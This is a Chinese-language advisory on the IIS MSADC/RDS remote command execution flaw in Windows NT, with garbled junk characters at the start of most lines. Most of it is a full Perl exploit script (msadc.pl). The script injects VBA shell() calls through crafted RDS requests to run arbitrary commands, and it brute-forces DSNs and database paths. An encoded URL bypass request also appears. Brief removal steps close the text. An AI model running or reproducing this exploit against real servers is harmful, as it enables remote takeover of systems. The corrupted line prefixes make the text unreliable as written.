IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
k)J7) L \ gN) GR 涉及程序：
|w5#a_adM Microsoft NT server
<}=D ?bXw $lQi0*s 描述：
/D q]=P 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
>Pu*M D; W[jxfZ D9v 详细：
2:abe 如果你没有时间读详细内容的话，就删除:
R[(,wY_1 c:\Program Files\Common Files\System\Msadc\msadcs.dll
)I#kG{z|P; 有关的安全问题就没有了。
_F,OS<> qz:OnQv! 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
v7-'H/d. qrdI" 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
;dnn
2)m 关于利用ODBC远程漏洞的描述，请参看:
wcOAyo5(n $2.D Z http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm z(xvt> 8P 8"dN[ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Qmrcng}P http://www.microsoft.com/security/bulletins/MS99-025faq.asp #SdaTMLFf 86Rit!ih 这里不再论述。
OKP?^%kD &+
IX DU 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
JjwuxZVr O ms $o ,[ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
%wO~\:F8 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
h\5
7t@A \@xnC$dd/ O
Rfl v+ #将下面这段保存为txt文件，然后: "perl -x 文件名"
-'nx7wnj2 )D^ P~2 #!perl
H Ow hl #
_eF*8 /z # MSADC/RDS 'usage' (aka exploit) script
,%C$~+xjM #
;r y{cq # by rain.forest.puppy
l*eA
?Qz #
+SJ aE] $ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
%[0"[ <1a # beta test and find errors!
#yqcUbJY0R %tMfOW use Socket; use Getopt::Std;
Hq~ 2,#Ue getopts("e:vd:h:XR", \%args);
2#R"#Q! FR <wp print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
eZv0"FK
X [ /D/ if (!defined $args{h} && !defined $args{R}) {
OhTO*C8 print qq~
s[g1e i9 Usage: msadc.pl -h <host> { -d <delay> -X -v }
'fB `e]_ -h <host> = host you want to scan (ip or domain)
dcA0k -d <seconds> = delay between calls, default 1 second
pxN'E;P- -X = dump Index Server path table, if available
P$D r6; -v = verbose
qHj4`& -e = external dictionary file for step 5
U t%ie=c ,kP{3.#Q Or a -R will resume a command session
^\!^#rO RHxd6G s" ~; exit;}
o] n Qo?! C{Fo^-3 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
zh6so. if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
~q/`Z )(yc if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
6B 8! 2 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
8_ uDxd $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
;8A_- $ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
>[p+L= ' *-n$n if (!defined $args{R}){ $ret = &has_msadc;
]
=D+a& die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
vL><Y.kOEs emHi= [!i print "Please type the NT commandline you want to run (cmd /c assumed):\n"
WlY%f}l n . "cmd /c ";
njIvVs`q $in=<STDIN>; chomp $in;
lRrO oON $command="cmd /c " . $in ;
V6!oe^a7' F UH1Z+ 9 if (defined $args{R}) {&load; exit;}
^b%AwzHH} @.5Yb gn print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
C /E3NL8 &try_btcustmr;
wjl? @K
D Lu]d$G print "\nStep 2: Trying to make our own DSN...";
V}(%2W5X+ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
YONg1.^!( xW09k6 print "\nStep 3: Trying known DSNs...";
T7 ,tJk,( &known_dsn;
Vf:t!'WD?2 M DlC U print "\nStep 4: Trying known .mdbs...";
.`i q+i~ &known_mdb;
Uq&|iB#mF Fr VD~; if (defined $args{e}){
$yt|nO print "\nStep 5: Trying dictionary of DSN names...";
J @$>d &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
`w q\K8v )TWf/L cp print "Sorry Charley...maybe next time?\n";
MF1u8Yl:0 exit;
t512]eqhb( w90y-^p% ##############################################################################
^!} lA9\gY A(C3kISM sub sendraw { # ripped and modded from whisker
g ` Wr3 sleep($delay); # it's a DoS on the server! At least on mine...
XnNK )dUT} my ($pstr)=@_;
Z?b.
PC/ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
!~RD>N&n die("Socket problems\n");
A*$vk2VWw if(connect(S,pack "SnA4x8",2,80,$target)){
IXH;QwR: select(S); $|=1;
:O{ :;X) print $pstr; my @in=<S>;
]M2> %Dvw select(STDOUT); close(S);
TKmC /c return @in;
UqA vFCy } else { die("Can't connect...\n"); }}
w0.#/6 0D\FFfs ##############################################################################
j\ )Qn 2r X4o8 sub make_header { # make the HTTP request
=\q3; 5[ my $msadc=<<EOT
)Ev [o#y POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
`aC#s3 [ User-Agent: ACTIVEDATA
yXkgGY5 Host: $ip
X`22Hf4ct Content-Length: $clen
k <St:X%.O Connection: Keep-Alive
5$y<nMP ! |}>Y ADCClientVersion:01.06
>- :U Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
HO wJ 2L Y X~H!6l --!ADM!ROX!YOUR!WORLD!
*d%m .:)N Content-Type: application/x-varg
a MzAA Content-Length: $reqlen
v"s}7trWV KsHMAp 3 EOT
rVz#;d!`z ; $msadc=~s/\n/\r\n/g;
%7{6>6% return $msadc;}
L 5 >>gG , 2\ 7]EW ##############################################################################
(;s \Ip0 T\]z0M sub make_req { # make the RDS request
I5-/K VWb my ($switch, $p1, $p2)=@_;
QN0Ik 2L my $req=""; my $t1, $t2, $query, $dsn;
#$8tBo +tuC 845 if ($switch==1){ # this is the btcustmr.mdb query
l jNd!RaB $query="Select * from Customers where City=" . make_shell();
a
ZfX | $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
D7=gUm > $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
9 4 n ,13 jdhhvoQ elsif ($switch==2){ # this is general make table query
~#g Vs*K $query="create table AZZ (B int, C varchar(10))";
r<"1$K~Ka $dsn="$p1";}
D B?[h<^m ArF+9upGY elsif ($switch==3){ # this is general exploit table query
k6dSj>F> $query="select * from AZZ where C=" . make_shell();
}+u<^7$g| $dsn="$p1";}
`T }e3l Lrz>00(*4 elsif ($switch==4){ # attempt to hork file info from index server
DTJ~ . $query="select path from scope()";
wD*_S}] $dsn="Provider=MSIDXS;";}
=!p6}5Z YWm:# {n. elsif ($switch==5){ # bad query
Ble <n6 $query="select";
h883pe= $dsn="$p1";}
Qx
{/iz c ptUnV3h $t1= make_unicode($query);
W/+|dN{O+g $t2= make_unicode($dsn);
NjMo"1d $req = "\x02\x00\x03\x00";
\n /_ Px $req.= "\x08\x00" . pack ("S1", length($t1));
0 C0iA p $req.= "\x00\x00" . $t1 ;
BB~Qs $req.= "\x08\x00" . pack ("S1", length($t2));
Ha;^U/0| $req.= "\x00\x00" . $t2 ;
73P(oVj< $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
6W~F
nJI return $req;}
FzW(An&x2 /*st, P$" ##############################################################################
}bHd U]$} =_TCt H sub make_shell { # this makes the shell() statement
b` 1P%OjC return "'|shell(\"$command\")|'";}
|JrG?:n 3{
`fT5]U ##############################################################################
@1rF9<
4g eoow]me sub make_unicode { # quick little function to convert to unicode
;o#dmG my ($in)=@_; my $out;
R$v{ p[ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
IUI >/87u return $out;}
J#bEAK^L,l Ib]{rmaP ##############################################################################
84|Hn|4t D
@T,j4o sub rdo_success { # checks for RDO return success (this is kludge)
#Mi>f4T; my (@in) = @_; my $base=content_start(@in);
\Q]2 Z q if($in[$base]=~/multipart\/mixed/){
tTC[^Dji return 1 if( $in[$base+10]=~/^\x09\x00/ );}
b[H& vp return 0;}
8r+R~{ , Lhgv1 ##############################################################################
wS8q ua nIXq2TzJ sub make_dsn { # this makes a DSN for us
RaG-9gujI my @drives=("c","d","e","f");
YW}1Mf=_ print "\nMaking DSN: ";
z[V|W foreach $drive (@drives) {
lO)p print "$drive: ";
t[7YMk my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
O[Nc$d c "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
wB " &K;t . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
4km=K Ox[ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
c7S<ex , return 0 if $2 eq "404"; # not found/doesn't exist
f |aO9w if($2 eq "200") {
/ [:@j+n\ foreach $line (@results) {
7@MVInV9 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
oO!@s` } return 0;}
YP+0 uZ[g vlx
wt ~ ##############################################################################
HuCH`|v- _! \X>rfz sub verify_exists {
!PJ;d)\T my ($page)=@_;
7*uG9iX my @results=sendraw("GET $page HTTP/1.0\n\n");
)}vQ?n[:' return $results[0];}
n
omtP } 7G!SlC
X}W ##############################################################################
$d4eGL2S ^[lg1u MW sub try_btcustmr {
_q M'm^z5 my @drives=("c","d","e","f");
N%n#mV; my @dirs=("winnt","winnt35","winnt351","win","windows");
if
r!ha+8! N mns 3 D foreach $dir (@dirs) {
}8 fG+H. print "$dir -> "; # fun status so you can see progress
]MRE^Je\h foreach $drive (@drives) {
8K7zh.E print "$drive: "; # ditto
r B)m{) $reqlen=length( make_req(1,$drive,$dir) ) - 28;
'GS1"rkW<5 $reqlenlen=length( "$reqlen" );
A\k@9w\Ll; $clen= 206 + $reqlenlen + $reqlen;
% ;09J 8kX3.X` my @results=sendraw(make_header() . make_req(1,$drive,$dir));
%TvunV7NQS if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
@D Qg1| m else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
hekAics6S ngn%"xYX ##############################################################################
qqLmjDv ok2$ p sub odbc_error {
'R99kL/.N my (@in)=@_; my $base;
s>E4.0[I% my $base = content_start(@in);
|l `X]dsfQ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
R84 g< $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
2-. g>'W $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}mk9-7 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
fw'$HV76 return $in[$base+4].$in[$base+5].$in[$base+6];}
B$_F)2%m; print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
l&^9<th print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
DTI+VY .W^ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
,b KA]#(2 :$j!e#?= ##############################################################################
]Y}faW(&Y coiTVDwA sub verbose {
{.DI[ @.g my ($in)=@_;
&X9#{:l= return if !$verbose;
V
:*G G+4 print STDOUT "\n$in\n";}
?20y6c < ;M>0, ##############################################################################
C5*j0} P2!@^%o sub save {
HkGzyD t my ($p1, $p2, $p3, $p4)=@_;
g=:%j5?.e open(OUT, ">rds.save") || print "Problem saving parameters...\n";
jr vhTej print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
av&dGsFP close OUT;}
9Or3X/:o ! s 9<%bp3 ##############################################################################
`9kjYSd#E 7a- > "W sub load {
8pg?g'A~} my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
{y) s85:t open(IN,"<rds.save") || die("Couldn't open rds.save\n");
L_=J(H| @p=<IN>; close(IN);
VABrw t $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
XK{`x< $target= inet_aton($ip) || die("inet_aton problems");
4ehajK print "Resuming to $ip ...";
qd%5[A $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
-P!vCf^{
t if($p[1]==1) {
j}X4#{jgC $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
^-f5;B`\i $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
x\3tSP7Vp my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
_Oh;._PS if (rdo_success(@results)){print "Success!\n";}
_|g (BK2} else { print "failed\n"; verbose(odbc_error(@results));}}
Xa Yx avq elsif ($p[1]==3){
>OBuHqC if(run_query("$p[3]")){
Gg{@]9 print "Success!\n";} else { print "failed\n"; }}
4;7<)&#h elsif ($p[1]==4){
>8#(GXnSt if(run_query($drvst . "$p[3]")){
*;1 G+Q# print "Success!\n"; } else { print "failed\n"; }}
#J q@p_T" exit;}
- $.$6"] cSnm \f ##############################################################################
k9w<0h 3 jgs kK sub create_table {
] j}zN2[A my ($in)=@_;
iePpJ>( $reqlen=length( make_req(2,$in,"") ) - 28;
f c+P`r $reqlenlen=length( "$reqlen" );
? A 8Uf= $clen= 206 + $reqlenlen + $reqlen;
!3-mPG<
] my @results=sendraw(make_header() . make_req(2,$in,""));
POtDge return 1 if rdo_success(@results);
Z =L' [6 my $temp= odbc_error(@results); verbose($temp);
/e!/ return 1 if $temp=~/Table 'AZZ' already exists/;
UFyGp>/06 return 0;}
_r+9S.z v}M, M&? ##############################################################################
G$x uHHZ' ?MPM@ 9 sub known_dsn {
}^pnwo9vV # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
_( 0!bUs> my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
O (tcu@vfl "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
q(\$-Dk.Vv "banner", "banners", "ads", "ADCDemo", "ADCTest");
k&n7 _[]n IhJ _Yed foreach $dSn (@dsns) {
v7\~OOoH] print ".";
*J 7>6N:- next if (!is_access("DSN=$dSn"));
@j9yc if(create_table("DSN=$dSn")){
#O Jsu print "$dSn successful\n";
SdYES5aES if(run_query("DSN=$dSn")){
:{E 3H3 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Fu ^^Jex print "Something's borked. Use verbose next time\n";}}} print "\n";}
7Aq4YjbX ]zhFFq` ##############################################################################
<T+Pw7X $lU~3I) sub is_access {
u)t1t69T\g my ($in)=@_;
R0gjx"U $reqlen=length( make_req(5,$in,"") ) - 28;
R
=mawmQ2 $reqlenlen=length( "$reqlen" );
+G7A.d`V} $clen= 206 + $reqlenlen + $reqlen;
j &)|n K;} my @results=sendraw(make_header() . make_req(5,$in,""));
mucY+k1>g my $temp= odbc_error(@results);
Z@t) .$ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
}u5 Mexs return 0;}
z ,P:i$ `Rm 2G ##############################################################################
[A
yq%MA P=KOw;bs sub run_query {
h7~&r Wb my ($in)=@_;
l9qq;hhGP, $reqlen=length( make_req(3,$in,"") ) - 28;
dG Qy=T: $reqlenlen=length( "$reqlen" );
"3Ag+>tuRW $clen= 206 + $reqlenlen + $reqlen;
R
7xV{o my @results=sendraw(make_header() . make_req(3,$in,""));
KG4~t=J` return 1 if rdo_success(@results);
UDt.w82 my $temp= odbc_error(@results); verbose($temp);
[
}jSx] return 0;}
$ B2*
x$ GNZQj8 ##############################################################################
shYcfLJ N{q5E ,} sub known_mdb {
'"GdO; }& my @drives=("c","d","e","f","g");
6:330"9 my @dirs=("winnt","winnt35","winnt351","win","windows");
0 -=onX my $dir, $drive, $mdb;
CImB,AXS my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
A^3cP , L [\ @!~F{ # this is sparse, because I don't know of many
YZr^;jfP my @sysmdbs=( "\\catroot\\icatalog.mdb",
R)nhgp(~ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Mf%/t HK "\\system32\\certmdb.mdb",
r\'3q '7 p "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
7EI(7:gOn @wl80v my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
z]gxkol\ "\\cfusion\\cfapps\\forums\\forums_.mdb",
E4T?8TO$o% "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
L((z;y>q| "\\cfusion\\cfapps\\security\\realm_.mdb",
wAF>C[ <\ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
96}/;e]@ "\\cfusion\\database\\cfexamples.mdb",
`w[0q?}"` "\\cfusion\\database\\cfsnippets.mdb",
( J\D"4q "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
v~L } : "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
8{4I6;e - "\\cfusion\\brighttiger\\database\\cleam.mdb",
d,8V-Dk+p "\\cfusion\\database\\smpolicy.mdb",
`axNeqM "\\cfusion\\database\cypress.mdb",
3P^eD:)
w "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
MR#j I "\\website\\cgi-win\\dbsample.mdb",
D7sw;{ns "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
I@pnZ-5 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
c ?V,a`6 ); #these are just
44kY[jhf foreach $drive (@drives) {
lY?TF foreach $dir (@dirs){
1YAy\F~`. foreach $mdb (@sysmdbs) {
87YT;Z;U& print ".";
?rk3oa- if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
unSF;S< print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Q\m"n^ XN if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
5NJ@mm { 0 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
E36<Wog } else { print "Something's borked. Use verbose next time\n"; }}}}}
ugVsp&i# !xj >~7 foreach $drive (@drives) {
ZH0 ~: foreach $mdb (@mdbs) {
?mG
?N(t/h print ".";
i*.Z~$ if(create_table($drv . $drive . $dir . $mdb)){
L L9I:^ print "\n" . $drive . $dir . $mdb . " successful\n";
{Y` 0} if(run_query($drv . $drive . $dir . $mdb)){
rya4 sxCh print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
s^L\ h r } else { print "Something's borked. Use verbose next time\n"; }}}}
6;*tw i }
@#*B|lHE B&-;w_K ##############################################################################
D 67H56[ ?# ,\, sub hork_idx {
\<i#Jn+ ) print "\nAttempting to dump Index Server tables...\n";
VF<{Qx* print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
B,e @v2jO| $reqlen=length( make_req(4,"","") ) - 28;
j(va# f# $reqlenlen=length( "$reqlen" );
;6fk G/T $clen= 206 + $reqlenlen + $reqlen;
*v8Cj(69 my @results=sendraw2(make_header() . make_req(4,"",""));
}9 qsPn if (rdo_success(@results)){
XO"!)q F my $max=@results; my $c; my %d;
*`| .:' for($c=19; $c<$max; $c++){
cM C1|3 $results[$c]=~s/\x00//g;
@<>](4D $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
lJ}G"RTm $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
sBwkHsDD $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
<ywxz1 i $d{"$1$2"}="";}
TD!QqLW foreach $c (keys %d){ print "$c\n"; }
r} "T y } else {print "Index server doesn't seem to be installed.\n"; }}
d<`Z{"g NS
{3_M&$jN ##############################################################################
@zsr.d6Q #/ \FB'zC sub dsn_dict {
x*Z"~'DI open(IN, "<$args{e}") || die("Can't open external dictionary\n");
4&$hBn=! while(<IN>){
>]ZojdOl) $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
^~=o?VtBg next if (!is_access("DSN=$dSn"));
`. L8< -]W if(create_table("DSN=$dSn")){
4)v\Dc/9i print "$dSn successful\n";
e)cmZ8~S if(run_query("DSN=$dSn")){
axXA y 5 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
+qzsC/y print "Something's borked. Use verbose next time\n";}}}
M"X/([G print "\n"; close(IN);}
iOj m j0 xqb I~jV# ##############################################################################
dgX 0\lKpf VdVca1Z sub sendraw2 { # ripped and modded from whisker
1G{$ B^
f sleep($delay); # it's a DoS on the server! At least on mine...
j%[|X fM my ($pstr)=@_;
QL_bg:hs socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
i` Lt=)@& die("Socket problems\n");
+~w '?vNc if(connect(S,pack "SnA4x8",2,80,$target)){
Q? W]g%:) print "Connected. Getting data";
={#r/x open(OUT,">raw.out"); my @in;
Ap U5,R0 select(S); $|=1; print $pstr;
owmA]f while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
0BxO75m}o close(OUT); select(STDOUT); close(S); return @in;
%S$P+B? } else { die("Can't connect...\n"); }}
/SlCcozFL~ I F5+&O ##############################################################################
9R'rFI \ iu2rat^ sub content_start { # this will take in the server headers
t)$>++i my (@in)=@_; my $c;
{{@3r5K Gl for ($c=1;$c<500;$c++) {
cN&b$ 8O=% if($in[$c] =~/^\x0d\x0a/){
y$4,r4cmR| if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
]C5JP~ #z else { return $c+1; }}}
O2 3f\pm& return -1;} # it should never get here actually
I#uJdV|x Ji%T|KR_ ##############################################################################
&qrH "z@q G]#5 sub funky {
W 9a H]9b my (@in)=@_; my $error=odbc_error(@in);
&W".fRH_O if($error=~/ADO could not find the specified provider/){
TO3Yz3+A print "\nServer returned an ADO miscofiguration message\nAborting.\n";
&*/X*!_HK exit;}
EG< K[t if($error=~/A Handler is required/){
pm3? print "\nServer has custom handler filters (they most likely are patched)\n";
G^)|c<'M exit;}
/+02 B P if($error=~/specified Handler has denied Access/){
|` :Uww+3 print "\nServer has custom handler filters (they most likely are patched)\n";
\$riw L exit;}}
mQo]k H^'*F->BA ##############################################################################
z@T;N'EM ")x9A&p sub has_msadc {
)9L1 WOGi my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
E*rDwTd my $base=content_start(@results);
jr~76 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
!C#q return 0;}
8h;1(S)*Z 8M(N ########################
0~an\4n h
gt}/C4| N
@ ]*E 解决方案：
lyv9eM 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
1)%9h >F7 2、移除web 目录: /msadc
